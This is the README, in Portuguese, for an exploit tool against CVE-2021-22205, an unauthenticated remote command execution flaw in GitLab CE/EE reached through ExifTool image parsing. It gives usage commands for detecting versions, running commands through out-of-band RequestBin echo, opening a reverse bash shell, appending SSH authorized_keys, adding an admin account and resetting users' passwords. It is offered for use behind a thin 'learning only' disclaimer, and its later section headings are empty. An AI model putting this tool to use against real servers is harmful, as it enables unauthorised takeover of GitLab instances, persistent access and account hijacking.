
RCE pré-autenticação no GitLab CE/EE usando ExifTool
GitLab CE/EE Pré-autenticação RCE usando ExifTool
Este projeto é apenas para aprendizado, se os direitos de alguém foram violados, por favor entre em contato comigo para remover o projeto, e por último NÃO USE ILEGALMENTE. Se você tiver algum comportamento ilegal ao usar esta ferramenta, você assumirá todas as consequências. Todos os desenvolvedores e todos os colaboradores desta ferramenta não assumem nenhuma responsabilidade legal ou conjunta.
Um problema foi descoberto no GitLab CE/EE afetando todas as versões a partir da 11.9. O GitLab não estava validando corretamente os arquivos de imagem que eram passados para um analisador de arquivos, resultando em uma execução remota de comandos.
Versões Afetadas:
Detecção da versão do Gitlab através do hash no Webpack manifest.json
Interações automáticas fora de banda com DNSLog & PostBin RequestBin
Suporte a Reverse Bash Shell / Adicionar Chave SSH ao authorized_keys
Suporte a ENTER para modificar e restaurar a senha do usuário gitlab
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url: http[s]://<domínio|ip>[:porta]/, por exemplo: https://example.com:9000/* são instáveis, podem não funcionar :(Detectar:

RCE (Echo via RequestBin OOB):

Reverse Bash Shell:

Adicionar Chave SSH ao authorized_keys:

Modificação e restauração da senha do usuário Gitlab:
